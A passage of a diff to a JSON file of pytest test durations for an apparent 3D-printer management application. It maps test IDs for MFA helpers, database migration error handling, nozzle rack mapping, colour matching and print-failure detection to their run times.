0.011720736511051655, + "unit/test_mfa_helpers.py::TestBackupCodeGeneration::test_codes_are_alphanumeric": 0.034354920499026775, + "unit/test_mfa_helpers.py::TestBackupCodeGeneration::test_codes_are_eight_chars": 0.03198612108826637, + "unit/test_mfa_helpers.py::TestBackupCodeGeneration::test_codes_are_unique": 0.033701034262776375, + "unit/test_mfa_helpers.py::TestBackupCodeGeneration::test_generates_ten_codes": 0.036592152900993824, + "unit/test_mfa_helpers.py::TestBackupCodeGeneration::test_hashes_verify_against_plain": 0.06223698891699314, + "unit/test_mfa_helpers.py::TestTOTPQRCode::test_generates_base64_png": 0.016819343902170658, + "unit/test_migration_error_classification_2949.py::TestSafeExecuteAgainstRealSqlite::test_a_duplicate_add_column_is_swallowed": 0.18523182906210423, + "unit/test_migration_error_classification_2949.py::TestSafeExecuteAgainstRealSqlite::test_a_genuine_failure_is_re_raised": 0.18086031544953585, + "unit/test_migration_error_classification_2949.py::TestSqliteFallback::test_message_keywords[duplicate column name: a-ALTER TABLE pipeline_runs ADD COLUMN parent_run_id INTEGER REFERENCES pipeline_runs(id) ON DELETE SET NULL-True]": 0.0013743257150053978, + "unit/test_migration_error_classification_2949.py::TestSqliteFallback::test_message_keywords[near \"GARBAGE\": syntax error-ALTER TABLE pipeline_runs ADD COLUMN parent_run_id INTEGER REFERENCES pipeline_runs(id) ON DELETE SET NULL-False]": 0.0012591294944286346, + "unit/test_migration_error_classification_2949.py::TestSqliteFallback::test_message_keywords[no such column: nope-ALTER TABLE t_rn RENAME COLUMN nope TO other-True]": 0.0012546712532639503, + "unit/test_migration_error_classification_2949.py::TestSqliteFallback::test_message_keywords[no such table: printers-ALTER TABLE pipeline_runs ADD COLUMN parent_run_id INTEGER REFERENCES pipeline_runs(id) ON DELETE SET NULL-False]": 0.0012924224138259888, + "unit/test_migration_error_classification_2949.py::TestSqliteFallback::test_message_keywords[table t already exists-CREATE TABLE t (a INTEGER)-True]": 0.0012924820184707642, + "unit/test_migration_error_classification_2949.py::TestSqlstateExtraction::test_falls_back_to_pgcode": 0.0012924233451485634, + "unit/test_migration_error_classification_2949.py::TestSqlstateExtraction::test_none_when_the_driver_offers_no_code": 0.0014574825763702393, + "unit/test_migration_error_classification_2949.py::TestSqlstateExtraction::test_reads_sqlstate_from_the_dbapi_error": 0.0013083238154649734, + "unit/test_migration_error_classification_2949.py::TestSqlstateIsPreferredOverTheMessage::test_a_russian_language_duplicate_is_recognised[42701-\\u0441\\u0442\\u043e\\u043b\\u0431\\u0435\\u0446 \"parent_run_id\" \\u043e\\u0442\\u043d\\u043e\\u0448\\u0435\\u043d\\u0438\\u044f \"pipeline_runs\" \\u0443\\u0436\\u0435 \\u0441\\u0443\\u0449\\u0435\\u0441\\u0442\\u0432\\u0443\\u0435\\u0442-ALTER TABLE pipeline_runs ADD COLUMN parent_run_id INTEGER REFERENCES pipeline_runs(id) ON DELETE SET NULL]": 0.0016602808609604836, + "unit/test_migration_error_classification_2949.py::TestSqlstateIsPreferredOverTheMessage::test_a_russian_language_duplicate_is_recognised[42710-\\u043e\\u0433\\u0440\\u0430\\u043d\\u0438\\u0447\\u0435\\u043d\\u0438\\u0435-\\u043f\\u0440\\u043e\\u0432\\u0435\\u0440\\u043a\\u0430 \"ck_a\" \\u0434\\u043b\\u044f \\u043e\\u0442\\u043d\\u043e\\u0448\\u0435\\u043d\\u0438\\u044f \"t_ck\" \\u0443\\u0436\\u0435 \\u0441\\u0443\\u0449\\u0435\\u0441\\u0442\\u0432\\u0443\\u0435\\u0442-ALTER TABLE t_ck ADD CONSTRAINT ck_a CHECK (a > 0)]": 0.0017157364636659622, + "unit/test_migration_error_classification_2949.py::TestSqlstateIsPreferredOverTheMessage::test_a_russian_language_duplicate_is_recognised[42P07-\\u043e\\u0442\\u043d\\u043e\\u0448\\u0435\\u043d\\u0438\\u0435 \"t_dup\" \\u0443\\u0436\\u0435 \\u0441\\u0443\\u0449\\u0435\\u0441\\u0442\\u0432\\u0443\\u0435\\u0442-CREATE INDEX ix_t_idx ON t_idx (a)]": 0.00186050683259964, + "unit/test_migration_error_classification_2949.py::TestSqlstateIsPreferredOverTheMessage::test_a_russian_language_duplicate_is_recognised[42P07-\\u043e\\u0442\\u043d\\u043e\\u0448\\u0435\\u043d\\u0438\\u0435 \"t_dup\" \\u0443\\u0436\\u0435 \\u0441\\u0443\\u0449\\u0435\\u0441\\u0442\\u0432\\u0443\\u0435\\u0442-CREATE TABLE t_dup (id INTEGER)]": 0.0012425286695361137, + "unit/test_migration_error_classification_2949.py::TestSqlstateIsPreferredOverTheMessage::test_an_english_message_saying_already_exists_cannot_rescue_a_fatal_sqlstate": 0.001345423050224781, + "unit/test_migration_error_classification_2949.py::TestSqlstateIsPreferredOverTheMessage::test_real_failures_still_abort_startup[42601-\\u043e\\u0448\\u0438\\u0431\\u043a\\u0430 \\u0441\\u0438\\u043d\\u0442\\u0430\\u043a\\u0441\\u0438\\u0441\\u0430]": 0.0014501996338367462, + "unit/test_migration_error_classification_2949.py::TestSqlstateIsPreferredOverTheMessage::test_real_failures_still_abort_startup[42704-\\u0442\\u0438\\u043f \"notatype\" \\u043d\\u0435 \\u0441\\u0443\\u0449\\u0435\\u0441\\u0442\\u0432\\u0443\\u0435\\u0442]": 0.001468379981815815, + "unit/test_migration_error_classification_2949.py::TestSqlstateIsPreferredOverTheMessage::test_real_failures_still_abort_startup[42P01-\\u043e\\u0442\\u043d\\u043e\\u0448\\u0435\\u043d\\u0438\\u0435 \"no_such_table\" \\u043d\\u0435 \\u0441\\u0443\\u0449\\u0435\\u0441\\u0442\\u0432\\u0443\\u0435\\u0442]": 0.001505991443991661, + "unit/test_migration_error_classification_2949.py::TestSqlstateIsPreferredOverTheMessage::test_undefined_column_is_idempotency_only_for_rename": 0.0014698663726449013, + "unit/test_mqtt_debug_on_change.py::TestDebugOnChange::test_composite_values_detect_a_change_in_any_field": 0.0017106253653764725, + "unit/test_mqtt_debug_on_change.py::TestDebugOnChange::test_dict_values_compare_by_content": 0.0018024370074272156, + "unit/test_mqtt_debug_on_change.py::TestDebugOnChange::test_each_change_is_logged": 0.0027365796267986298, + "unit/test_mqtt_debug_on_change.py::TestDebugOnChange::test_keys_are_tracked_independently": 0.0025227488949894905, + "unit/test_mqtt_debug_on_change.py::TestDebugOnChange::test_printers_are_tracked_independently": 0.002799476496875286, + "unit/test_mqtt_debug_on_change.py::TestDebugOnChange::test_repeated_identical_values_log_once": 0.004715327173471451, + "unit/test_mqtt_debug_on_change.py::TestRealDumpSitesAreGated::test_identical_push_status_frames_do_not_re_dump_state": 0.0016989335417747498, + "unit/test_mqtt_debug_on_change.py::TestRuntimeDebugToggle::test_disabling_debug_drops_the_cache": 0.0013013174757361412, + "unit/test_mqtt_debug_on_change.py::TestRuntimeDebugToggle::test_enabling_debug_at_runtime_still_dumps_a_baseline": 0.0034102946519851685, + "unit/test_natural_sort.py::test_does_not_raise_when_a_str_and_int_position_would_otherwise_collide": 0.0011245673522353172, + "unit/test_natural_sort.py::test_handles_multiple_number_runs_in_one_name": 0.0011428119614720345, + "unit/test_natural_sort.py::test_is_case_insensitive": 0.0013212868943810463, + "unit/test_natural_sort.py::test_matches_plain_alphabetical_order_when_there_are_no_digits": 0.0015766248106956482, + "unit/test_natural_sort.py::test_names_with_no_digits_sort_before_the_same_prefix_with_a_number": 0.0011281436309218407, + "unit/test_natural_sort.py::test_orders_embedded_numbers_by_value_not_by_character": 0.001154824160039425, + "unit/test_nearest_colour_match_2804.py::TestColorDistance::test_a_perceptually_nearer_colour_beats_a_numerically_nearer_one": 0.0011514974758028984, + "unit/test_nearest_colour_match_2804.py::TestColorDistance::test_alpha_is_ignored_so_a_transparent_filament_matches_itself": 0.0011746911332011223, + "unit/test_nearest_colour_match_2804.py::TestColorDistance::test_distance_is_perceptual_not_per_channel": 0.001436552032828331, + "unit/test_nearest_colour_match_2804.py::TestColorDistance::test_identical_colours_are_zero_apart": 0.001207183115184307, + "unit/test_nearest_colour_match_2804.py::TestColorDistance::test_unusable_input_is_none_rather_than_a_number": 0.0011584525927901268, + "unit/test_nearest_colour_match_2804.py::TestNearestSimilarWins::test_an_exact_match_still_outranks_a_near_one": 0.0012228423729538918, + "unit/test_nearest_colour_match_2804.py::TestNearestSimilarWins::test_closest_admitted_colour_wins_regardless_of_slot_order": 0.0013060793280601501, + "unit/test_nearest_colour_match_2804.py::TestNearestSimilarWins::test_each_slot_consumes_its_tray": 0.0013141026720404625, + "unit/test_nearest_colour_match_2804.py::TestNearestSimilarWins::test_eligibility_is_unchanged_so_a_far_colour_is_still_type_only": 0.0012084254994988441, + "unit/test_nearest_colour_match_2804.py::TestNearestSimilarWins::test_nearest_applies_within_a_shared_tray_info_idx_too": 0.001246485859155655, + "unit/test_nearest_colour_match_2804.py::TestNearestSimilarWins::test_result_does_not_depend_on_tray_order": 0.0013153869658708572, + "unit/test_nearest_colour_match_2804.py::TestNearestSimilarWins::test_ties_keep_the_caller_order_so_prefer_lowest_still_decides": 0.0013018306344747543, + "unit/test_nearest_colour_match_2804.py::TestNearestSimilarWins::test_type_is_still_a_hard_filter": 0.0012284927070140839, + "unit/test_no_3mf_archive_paths.py::TestTimelapseDestination::test_a_normal_archive_is_unaffected": 0.1827904637902975, + "unit/test_no_3mf_archive_paths.py::TestTimelapseDestination::test_no_3mf_archive_writes_under_the_data_dir": 0.1833598306402564, + "unit/test_no_3mf_archive_paths.py::TestTimelapseDestination::test_timelapse_path_is_stored_relative_to_base_dir": 0.19377783685922623, + "unit/test_no_3mf_archive_paths.py::TestUnchargeableTrayIsAnnounced::test_a_tray_the_print_never_touched_stays_quiet": 0.1890430748462677, + "unit/test_no_3mf_archive_paths.py::TestUnchargeableTrayIsAnnounced::test_used_tray_with_no_start_remain_is_logged": 0.18970956280827522, + "unit/test_no_fail_open_in_auth.py::test_no_fail_open_in_auth_modules": 0.02638529520481825, + "unit/test_no_hardcoded_secrets.py::test_jwt_secret_loader_has_no_hardcoded_fallback": 0.007870682515203953, + "unit/test_no_hardcoded_secrets.py::test_no_hardcoded_secrets_in_production_source": 0.8821943653747439, + "unit/test_no_unsafe_path_joins.py::TestMarkerDetection::test_marker_on_binop_line_recognised": 0.0014754468575119972, + "unit/test_no_unsafe_path_joins.py::TestMarkerDetection::test_marker_on_closing_paren_line_recognised": 0.0013232501223683357, + "unit/test_no_unsafe_path_joins.py::TestMarkerDetection::test_marker_on_non_continuation_line_does_not_silence": 0.0012701787054538727, + "unit/test_no_unsafe_path_joins.py::TestMarkerDetection::test_no_marker_anywhere_is_flagged": 0.0013894326984882355, + "unit/test_no_unsafe_path_joins.py::TestMarkerDetection::test_unrelated_marker_below_does_not_silence": 0.0013005491346120834, + "unit/test_no_unsafe_path_joins.py::test_route_path_arithmetic_is_safe_joined_or_marked": 0.7019543312489986, + "unit/test_notification_plate_scope.py::TestScopeNotificationArchiveDataToPlate::test_completed_plate_replaces_summed_totals": 0.002138366922736168, + "unit/test_notification_plate_scope.py::TestScopeNotificationArchiveDataToPlate::test_corrupt_3mf_returns_unchanged": 0.0019568270072340965, + "unit/test_notification_plate_scope.py::TestScopeNotificationArchiveDataToPlate::test_missing_3mf_returns_unchanged": 0.0020031025633215904, + "unit/test_notification_plate_scope.py::TestScopeNotificationArchiveDataToPlate::test_no_file_path_returns_unchanged": 0.002167913131415844, + "unit/test_notification_plate_scope.py::TestScopeNotificationArchiveDataToPlate::test_no_plate_id_returns_unchanged": 0.0012575369328260422, + "unit/test_notification_plate_scope.py::TestScopeNotificationArchiveDataToPlate::test_partial_print_scales_plate_values": 0.0014390293508768082, + "unit/test_notification_plate_scope.py::TestScopeNotificationArchiveDataToPlate::test_plate_1_scoping_works": 0.0021360917016863823, + "unit/test_notification_plate_scope.py::TestScopeNotificationArchiveDataToPlate::test_plate_3_scoping_works": 0.0018238397315144539, + "unit/test_notification_plate_scope.py::TestScopeNotificationArchiveDataToPlate::test_plate_id_outside_range_returns_unchanged": 0.0017092535272240639, + "unit/test_notification_plate_scope.py::TestScopeNotificationArchiveDataToPlate::test_single_plate_file_with_plate_id_1": 0.0015583010390400887, + "unit/test_notification_plate_scope.py::TestScopeNotificationArchiveDataToPlate::test_zero_grams_plate_keeps_project_level_breakdown": 0.0016728956252336502, + "unit/test_notification_template_sample_data.py::test_every_event_type_has_sample_data": 0.0012498823925852776, + "unit/test_notification_template_sample_data.py::test_sample_data_covers_every_variable_its_event_type_declares": 0.001324131153523922, + "unit/test_nozzle_rack_mapping_2800.py::TestDispatch::test_absent_slot_extruders_changes_nothing": 0.001494070515036583, + "unit/test_nozzle_rack_mapping_2800.py::TestDispatch::test_malformed_slot_extruders_is_logged_and_omitted": 0.0018537137657403946, + "unit/test_nozzle_rack_mapping_2800.py::TestDispatch::test_other_dual_nozzle_models_are_untouched": 0.0015403376892209053, + "unit/test_nozzle_rack_mapping_2800.py::TestDispatch::test_rack_model_resolves_slot_extruders": 0.0019143568351864815, + "unit/test_nozzle_rack_mapping_2800.py::TestDispatch::test_src_id_used_when_tar_id_is_not_a_rack_position": 0.0015398645773530006, + "unit/test_nozzle_rack_mapping_2800.py::TestDispatch::test_studio_capture_is_never_overridden": 0.001523285172879696, + "unit/test_nozzle_rack_mapping_2800.py::TestDispatch::test_unknown_rack_position_omits_the_field": 0.001564941368997097, + "unit/test_nozzle_rack_mapping_2800.py::TestGroupsBeyondTheExtruderCount::test_a_group_the_file_never_places_omits_the_whole_mapping": 0.0014444869011640549, + "unit/test_nozzle_rack_mapping_2800.py::TestGroupsBeyondTheExtruderCount::test_a_plate_wanting_two_rack_nozzles_is_left_to_the_firmware": 0.0014629736542701721, + "unit/test_nozzle_rack_mapping_2800.py::TestGroupsBeyondTheExtruderCount::test_a_slot_the_plate_genuinely_skips_still_reads_minus_one": 0.0013732751831412315, + "unit/test_nozzle_rack_mapping_2800.py::TestGroupsBeyondTheExtruderCount::test_filaments_grouped_and_ungrouped_in_one_plate_omit_the_mapping": 0.00144205242395401, + "unit/test_nozzle_rack_mapping_2800.py::TestGroupsBeyondTheExtruderCount::test_files_without_a_nozzle_table_keep_the_group_as_the_index": 0.001393493264913559, + "unit/test_nozzle_rack_mapping_2800.py::TestGroupsBeyondTheExtruderCount::test_one_rack_group_is_still_answered": 0.0013928413391113281, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_everything_else_is_not_a_rack_model[H2D Pro]": 0.001168769784271717, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_everything_else_is_not_a_rack_model[H2D]": 0.0011699413880705833, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_everything_else_is_not_a_rack_model[H2S]": 0.001143723726272583, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_everything_else_is_not_a_rack_model[N6]": 0.0014420533552765846, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_everything_else_is_not_a_rack_model[None]": 0.0011352980509400368, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_everything_else_is_not_a_rack_model[O1D]": 0.0011572502553462982, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_everything_else_is_not_a_rack_model[P1S]": 0.0011685295030474663, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_everything_else_is_not_a_rack_model[X2D]": 0.0011571003124117851, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_everything_else_is_not_a_rack_model[]": 0.0011503063142299652, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_h2c_spellings_and_codes[ H2C ]": 0.0012582279741764069, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_h2c_spellings_and_codes[H2C]": 0.0014003152027726173, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_h2c_spellings_and_codes[O1C2]": 0.0014311512932181358, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_h2c_spellings_and_codes[O1C]": 0.0012398138642311096, + "unit/test_nozzle_rack_mapping_2800.py::TestIsNozzleRackModel::test_h2c_spellings_and_codes[h2c]": 0.0012823725119233131, + "unit/test_nozzle_rack_mapping_2800.py::TestPlateScoping::test_an_unknown_plate_falls_back_to_the_whole_file": 0.0015555350109934807, + "unit/test_nozzle_rack_mapping_2800.py::TestPlateScoping::test_each_plate_answers_for_itself": 0.001545867882668972, + "unit/test_nozzle_rack_mapping_2800.py::TestPlateScoping::test_plates_that_disagree_about_a_group_fall_back_to_the_index": 0.001405063085258007, + "unit/test_nozzle_rack_mapping_2800.py::TestRackPositionFromMqtt::test_absent_key_does_not_clear_the_last_known_value": 0.0012181922793388367, + "unit/test_nozzle_rack_mapping_2800.py::TestRackPositionFromMqtt::test_src_and_tar_are_captured": 0.0012878552079200745, + "unit/test_nozzle_rack_mapping_2800.py::TestRackPositionFromMqtt::test_starts_unknown": 0.001138973981142044, + "unit/test_nozzle_rack_mapping_2800.py::TestRackPositionFromMqtt::test_unparseable_value_is_ignored": 0.001204848289489746, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_a_carriage_the_h2c_does_not_have_omits_the_field[2]": 0.001123654656112194, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_a_carriage_the_h2c_does_not_have_omits_the_field[31]": 0.0011311303824186325, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_a_carriage_the_h2c_does_not_have_omits_the_field[3]": 0.0011319918558001518, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_empty_mapping": 0.0010873973369598389, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_hardware_confirmed_mixed_nozzle_plate": 0.0010891715064644814, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_job_that_never_uses_the_rack_is_left_alone": 0.0010732309892773628, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_junk_input_returns_none_and_never_raises[1]": 0.0011438122019171715, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_junk_input_returns_none_and_never_raises[bad_slots0]": 0.0011061131954193115, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_junk_input_returns_none_and_never_raises[bad_slots1]": 0.001151309348642826, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_junk_input_returns_none_and_never_raises[bad_slots2]": 0.001129956915974617, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_junk_input_returns_none_and_never_raises[bad_slots3]": 0.0011364100500941277, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_junk_input_returns_none_and_never_raises[bad_slots4]": 0.0011506564915180206, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_junk_rack_position_returns_none_and_never_raises[17.0]": 0.001133323647081852, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_junk_rack_position_returns_none_and_never_raises[17]": 0.001142340712249279, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_junk_rack_position_returns_none_and_never_raises[True]": 0.001127924770116806, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_junk_rack_position_returns_none_and_never_raises[bad_rack0]": 0.0011325133964419365, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_junk_rack_position_returns_none_and_never_raises[bad_rack1]": 0.0011250292882323265, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_more_slots_than_the_wire_carries": 0.001078820787370205, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_no_usable_rack_position_omits_the_field[0]": 0.0011347578838467598, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_no_usable_rack_position_omits_the_field[15]": 0.0011302689090371132, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_no_usable_rack_position_omits_the_field[1]": 0.0011259904131293297, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_no_usable_rack_position_omits_the_field[22]": 0.0011098198592662811, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_no_usable_rack_position_omits_the_field[255]": 0.0011095628142356873, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_no_usable_rack_position_omits_the_field[None]": 0.0011320319026708603, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_none_entries_read_as_unprinted": 0.0010915566235780716, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_rack_slot_takes_the_live_rack_position": 0.0011201975867152214, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_the_fixed_hotend_takes_its_own_physical_id": 0.0010854443535208702, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_the_wire_is_padded_to_a_fixed_length": 0.0010763490572571754, + "unit/test_nozzle_rack_mapping_2800.py::TestResolveRackNozzleMapping::test_unprinted_slots_stay_unset": 0.0010848529636859894, + "unit/test_nozzle_rack_mapping_2800.py::TestSlotExtrudersFromFile::test_both_extruders": 0.00144866481423378, + "unit/test_nozzle_rack_mapping_2800.py::TestSlotExtrudersFromFile::test_derives_dense_per_slot_extruders": 0.0014620507135987282, + "unit/test_nozzle_rack_mapping_2800.py::TestSlotExtrudersFromFile::test_end_to_end_reaches_the_rack_position": 0.0014654062688350677, + "unit/test_nozzle_rack_mapping_2800.py::TestSlotExtrudersFromFile::test_out_of_range_slot_ids_are_rejected[-3]": 0.0014750054106116295, + "unit/test_nozzle_rack_mapping_2800.py::TestSlotExtrudersFromFile::test_out_of_range_slot_ids_are_rejected[0]": 0.001467219553887844, + "unit/test_nozzle_rack_mapping_2800.py::TestSlotExtrudersFromFile::test_out_of_range_slot_ids_are_rejected[50000000]": 0.0014551971107721329, + "unit/test_nozzle_rack_mapping_2800.py::TestSlotExtrudersFromFile::test_out_of_range_slot_ids_are_rejected[65]": 0.0014753546565771103, + "unit/test_nozzle_rack_mapping_2800.py::TestSlotExtrudersFromFile::test_single_nozzle_file_yields_nothing": 0.0012594694271683693, + "unit/test_nozzle_rack_mapping_2800.py::TestSlotExtrudersFromFile::test_unreadable_file_is_not_fatal": 0.001272205263376236, + "unit/test_nozzle_rack_positions_1784.py::TestAutoAssignment::test_a_padded_diameter_matches_an_unpadded_one": 0.0015029171481728554, + "unit/test_nozzle_rack_positions_1784.py::TestAutoAssignment::test_a_printer_reporting_no_nozzle_type_is_not_ruled_out": 0.0014609983190894127, + "unit/test_nozzle_rack_positions_1784.py::TestAutoAssignment::test_an_explicit_pick_is_never_stolen_by_an_auto_assignment": 0.0014788703992962837, + "unit/test_nozzle_rack_positions_1784.py::TestAutoAssignment::test_an_unpicked_plate_is_assigned_by_colour": 0.001466657966375351, + "unit/test_nozzle_rack_positions_1784.py::TestAutoAssignment::test_flow_type_is_matched_as_well_as_diameter": 0.0014369729906320572, + "unit/test_nozzle_rack_positions_1784.py::TestAutoAssignment::test_only_eligible_positions_are_assigned": 0.0014665797352790833, + "unit/test_nozzle_rack_positions_1784.py::TestAutoAssignment::test_without_a_colour_match_it_takes_the_lowest_free_position": 0.0014779800549149513, + "unit/test_nozzle_rack_positions_1784.py::TestEveryRequirementsPathIsAnnotated::test_a_non_rack_file_leaves_every_filament_untouched": 0.0013048648834228516, + "unit/test_nozzle_rack_positions_1784.py::TestEveryRequirementsPathIsAnnotated::test_a_slot_the_plate_does_not_print_is_left_untagged": 0.00142622459679842, + "unit/test_nozzle_rack_positions_1784.py::TestEveryRequirementsPathIsAnnotated::test_both_routes_import_the_annotator[archives]": 0.0011800192296504974, + "unit/test_nozzle_rack_positions_1784.py::TestEveryRequirementsPathIsAnnotated::test_both_routes_import_the_annotator[library]": 0.0012050988152623177, + "unit/test_nozzle_rack_positions_1784.py::TestEveryRequirementsPathIsAnnotated::test_the_shared_annotator_tags_a_route_built_filament_list": 0.0014157136902213097, + "unit/test_nozzle_rack_positions_1784.py::TestFixedOnlyPlates::test_a_plate_using_only_the_fixed_hotend_needs_no_rack_position": 0.0014056256040930748, + "unit/test_nozzle_rack_positions_1784.py::TestFixedOnlyPlates::test_it_resolves_even_with_an_entirely_empty_rack": 0.0013776635751128197, + "unit/test_nozzle_rack_positions_1784.py::TestPlateScoping::test_the_dispatched_plate_is_the_one_read": 0.0014886893332004547, + "unit/test_nozzle_rack_positions_1784.py::TestRackPositionNumbering::test_a_bool_is_not_a_position": 0.0017148954793810844, + "unit/test_nozzle_rack_positions_1784.py::TestRackPositionNumbering::test_a_position_outside_the_rack_names_no_nozzle[-1]": 0.0011830572038888931, + "unit/test_nozzle_rack_positions_1784.py::TestRackPositionNumbering::test_a_position_outside_the_rack_names_no_nozzle[0]": 0.0011881263926625252, + "unit/test_nozzle_rack_positions_1784.py::TestRackPositionNumbering::test_a_position_outside_the_rack_names_no_nozzle[16]": 0.0016408348456025124, + "unit/test_nozzle_rack_positions_1784.py::TestRackPositionNumbering::test_a_position_outside_the_rack_names_no_nozzle[7]": 0.0013787541538476944, + "unit/test_nozzle_rack_positions_1784.py::TestRackPositionNumbering::test_the_six_positions_map_to_the_ids_the_printer_uses": 0.0011851219460368156, + "unit/test_nozzle_rack_positions_1784.py::TestReadingThePlan::test_a_machine_with_no_multi_nozzle_carriage_has_no_plan": 0.0013284189626574516, + "unit/test_nozzle_rack_positions_1784.py::TestReadingThePlan::test_a_missing_file_yields_no_plan": 0.0012487499043345451, + "unit/test_nozzle_rack_positions_1784.py::TestReadingThePlan::test_an_ungrouped_filament_makes_the_plan_partial_so_there_is_none": 0.001453283242881298, + "unit/test_nozzle_rack_positions_1784.py::TestReadingThePlan::test_an_unreadable_file_yields_no_plan_rather_than_raising": 0.001302352175116539, + "unit/test_nozzle_rack_positions_1784.py::TestReadingThePlan::test_filaments_in_one_group_wanting_different_nozzles_is_unresolvable": 0.0014062756672501564, + "unit/test_nozzle_rack_positions_1784.py::TestReadingThePlan::test_the_maintainers_plate_reads_as_two_rack_groups_and_one_fixed": 0.0016574375331401825, + "unit/test_nozzle_rack_positions_1784.py::TestReadingThePlan::test_the_rack_carriage_is_read_from_the_file_not_assumed": 0.0014014290645718575, + "unit/test_nozzle_rack_positions_1784.py::TestReadingThePlan::test_two_filaments_may_share_a_group_and_differ_in_colour": 0.0013956958428025246, + "unit/test_nozzle_rack_positions_1784.py::TestRefusals::test_a_plate_assigning_nothing_is_refused": 0.0016740188002586365, + "unit/test_nozzle_rack_positions_1784.py::TestRefusals::test_a_plate_with_more_slots_than_the_wire_carries_is_refused": 0.0011490536853671074, + "unit/test_nozzle_rack_positions_1784.py::TestRefusals::test_a_position_beyond_the_rack_is_refused": 0.0014489460736513138, + "unit/test_nozzle_rack_positions_1784.py::TestRefusals::test_a_position_holding_nothing_is_refused_with_a_reason": 0.0014386055991053581, + "unit/test_nozzle_rack_positions_1784.py::TestRefusals::test_a_slot_naming_an_undescribed_group_is_refused": 0.001146889291703701, + "unit/test_nozzle_rack_positions_1784.py::TestRefusals::test_an_empty_plate_is_refused": 0.0011279042810201645, + "unit/test_nozzle_rack_positions_1784.py::TestRefusals::test_the_wrong_nozzle_names_what_it_holds_and_what_is_needed": 0.0014570802450180054, + "unit/test_nozzle_rack_positions_1784.py::TestRefusals::test_two_groups_cannot_share_one_position": 0.0014529330655932426, + "unit/test_nozzle_rack_positions_1784.py::TestResolvingAgainstTheLiveRack::test_picking_r1_and_r2_reproduces_the_dispatch_of_2026_08_14": 0.0015086177736520767, + "unit/test_nozzle_rack_positions_1784.py::TestResolvingAgainstTheLiveRack::test_picking_r1_and_r3_reproduces_the_dispatch_of_2026_08_13": 0.001483309082686901, + "unit/test_nozzle_rack_positions_1784.py::TestResolvingAgainstTheLiveRack::test_the_fixed_group_always_lands_on_physical_nozzle_1": 0.0014566201716661453, + "unit/test_nozzle_rack_positions_1784.py::TestTheMountedNozzle::test_an_empty_carriage_fills_no_gap": 0.0012091174721717834, + "unit/test_nozzle_rack_positions_1784.py::TestTheMountedNozzle::test_the_lone_gap_is_recovered_from_the_carriage": 0.001168188638985157, + "unit/test_nozzle_rack_positions_1784.py::TestTheMountedNozzle::test_the_mounted_nozzle_can_be_picked": 0.0014702752232551575, + "unit/test_nozzle_rack_positions_1784.py::TestTheMountedNozzle::test_two_gaps_are_ambiguous_and_stay_absent": 0.0011845901608467102, + "unit/test_obico_detection.py::TestCaptureFrameSharesBroadcasterUpstream::test_falls_back_to_fresh_capture_when_no_stream": 0.003697039559483528, + "unit/test_obico_detection.py::TestCaptureFrameSharesBroadcasterUpstream::test_returns_buffered_frame_when_stream_active": 0.0024852389469742775, + "unit/test_obico_detection.py::TestCaptureFrameSharesBroadcasterUpstream::test_skips_poll_when_stream_active_but_buffer_empty": 0.0021797241643071175, + "unit/test_obico_detection.py::TestCheckPrinterUsesCachedFrameUrl::test_capture_failure_skips_ml_call": 0.0022495947778224945, + "unit/test_obico_detection.py::TestCheckPrinterUsesCachedFrameUrl::test_missing_external_url_skips_ml_call": 0.0020275190472602844, + "unit/test_obico_detection.py::TestCheckPrinterUsesCachedFrameUrl::test_ml_api_called_with_cached_frame_url": 0.0023155109956860542, + "unit/test_obico_detection.py::TestCheckPrinterUsesCachedFrameUrl::test_successful_cycle_clears_previous_error": 0.002485436387360096, + 